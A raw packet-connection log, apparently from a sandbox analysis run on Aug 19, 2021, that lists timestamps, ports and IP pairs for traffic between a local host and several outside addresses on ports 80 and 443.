Aug 19, 2021 07:53:55.233124018 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233150959 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233172894 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233175993 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233196974 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233220100 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233222008 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233242989 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233243942 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233268976 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233272076 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233293056 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233294964 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233313084 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233319998 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233345032 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233354092 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233366966 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233372927 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233391047 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.233401060 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233431101 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.233880043 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.234186888 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.234272003 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.234304905 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.234358072 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.234375954 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.234428883 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.234561920 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.234589100 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.234611988 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.234612942 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.234635115 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.234641075 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.234659910 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.234688044 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.234879971 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.234930038 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.234954119 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.234978914 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235003948 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235006094 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235018969 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235028028 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235049009 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235052109 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235074997 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235075951 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235089064 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235100031 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235146046 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235153913 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235188961 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235236883 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235460043 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235491037 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235507965 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235528946 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235539913 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235551119 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.235560894 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235591888 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.235621929 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.286242008 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286288977 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286407948 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286422014 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286434889 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286447048 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286459923 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286472082 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286485910 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286498070 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286509991 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.286746979 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.286781073 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.287183046 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.287195921 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.287266970 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.287286043 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.287302971 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.287388086 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.287444115 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.287632942 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.289119959 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.339749098 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.339782000 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.339801073 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.339818001 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.339832067 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.339977980 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.340095997 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340116024 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340135098 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340153933 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340169907 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340187073 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340202093 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.340204954 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340220928 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340243101 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340255976 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.340262890 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340276957 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340289116 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340302944 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340316057 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340327978 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340341091 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340353012 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340365887 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340379000 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340392113 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340394974 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.340404987 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340425014 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340437889 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340459108 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340476990 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340490103 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340518951 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.340542078 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.340588093 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.340657949 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.342117071 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.342150927 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.342251062 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.392811060 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.392837048 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.392853975 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.392870903 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.392934084 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.392975092 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.393167019 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393187046 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393202066 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393233061 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393248081 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393263102 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393309116 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.393357992 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393374920 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393399954 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393443108 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393455029 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.393531084 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393532038 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.393595934 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393611908 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393626928 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393677950 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393692970 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393717051 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393733025 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393783092 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393799067 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393836975 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.393904924 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393923044 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393949986 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.393965006 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.394038916 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.394062042 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.394077063 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.394097090 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.394110918 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.394251108 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.394263983 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.394304991 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.394371033 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.395003080 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.395019054 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.395162106 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.445725918 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.445756912 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.445775032 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.445794106 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.445847988 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.445878029 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.445991993 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446018934 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446048021 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446067095 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446069956 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.446124077 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.446135998 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446172953 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446197987 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446218014 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446265936 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446291924 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446325064 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.446360111 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.446527004 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446546078 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446563959 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446583033 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446621895 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.446650982 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.446760893 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446789980 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446810961 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446847916 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446871042 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446891069 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446912050 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446954966 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446974993 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.446993113 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.447012901 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.447046995 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.447066069 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.447086096 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.447146893 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.447168112 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.447170973 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.447216034 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.447355032 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:55.447927952 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:53:55.489424944 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:53:56.645670891 CEST	49757	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:56.882901907 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:56.883053064 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:56.893588066 CEST	49752	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:56.913081884 CEST	80	49757	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:56.913312912 CEST	49757	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:56.913729906 CEST	49757	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:56.913747072 CEST	49757	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:56.926208973 CEST	80	49752	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:57.181159973 CEST	80	49757	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:58.130865097 CEST	80	49757	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:58.131643057 CEST	49757	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:58.170510054 CEST	49758	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:58.302509069 CEST	80	49757	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:58.302582979 CEST	49757	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:58.398685932 CEST	80	49757	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:58.451723099 CEST	80	49758	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:58.452799082 CEST	49758	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:58.482240915 CEST	49758	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:58.482281923 CEST	49758	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:58.764547110 CEST	80	49758	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:59.707612991 CEST	80	49758	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:59.707691908 CEST	80	49758	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:59.707865000 CEST	49758	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:59.708046913 CEST	49758	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:59.781778097 CEST	49759	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:59.988337994 CEST	80	49758	210.207.244.101	192.168.2.7
Aug 19, 2021 07:54:00.047293901 CEST	80	49759	210.207.244.101	192.168.2.7
Aug 19, 2021 07:54:00.048170090 CEST	49759	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:54:00.048762083 CEST	49759	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:54:00.048774958 CEST	49759	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:54:00.315193892 CEST	80	49759	210.207.244.101	192.168.2.7
Aug 19, 2021 07:54:01.268244028 CEST	80	49759	210.207.244.101	192.168.2.7
Aug 19, 2021 07:54:01.268280029 CEST	80	49759	210.207.244.101	192.168.2.7
Aug 19, 2021 07:54:01.268451929 CEST	49759	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:54:01.269078016 CEST	49759	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:54:01.534466982 CEST	80	49759	210.207.244.101	192.168.2.7
Aug 19, 2021 07:54:02.192492008 CEST	49760	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.192795992 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.253478050 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.253504992 CEST	80	49760	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.253633976 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.254451036 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.254451990 CEST	49760	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.254606962 CEST	49760	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.254748106 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.254949093 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.255045891 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.315515041 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.315542936 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.315557957 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.315615892 CEST	80	49760	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.315629959 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.315762997 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.372834921 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.374243021 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.375066042 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.375073910 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.375082016 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.375102043 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.375176907 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.375196934 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.375257015 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.377563000 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.377623081 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.431318045 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.431478977 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.431489944 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.431575060 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:02.431642056 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.431653023 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.431797028 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.431807995 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.432041883 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.435436010 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.488197088 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.488214016 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:02.495362043 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:05.393296003 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:54:05.393352985 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:54:05.393479109 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:54:05.393605947 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:54:05.393616915 CEST	49756	443	192.168.2.7	217.107.34.191
Aug 19, 2021 07:54:05.446630955 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:54:05.446696043 CEST	443	49756	217.107.34.191	192.168.2.7
Aug 19, 2021 07:54:06.256755114 CEST	49760	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.256829977 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.373189926 CEST	49762	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.438255072 CEST	80	49762	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.441941023 CEST	49762	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.506648064 CEST	49762	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.564665079 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.569228888 CEST	80	49762	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.632790089 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.633052111 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.634049892 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.634300947 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.634692907 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.634965897 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.706542969 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.707444906 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.707468987 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.707609892 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.708919048 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.709055901 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.769501925 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.769526958 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.769536972 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.769548893 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.769560099 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.769594908 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.769756079 CEST	49763	80	192.168.2.7	185.215.113.206
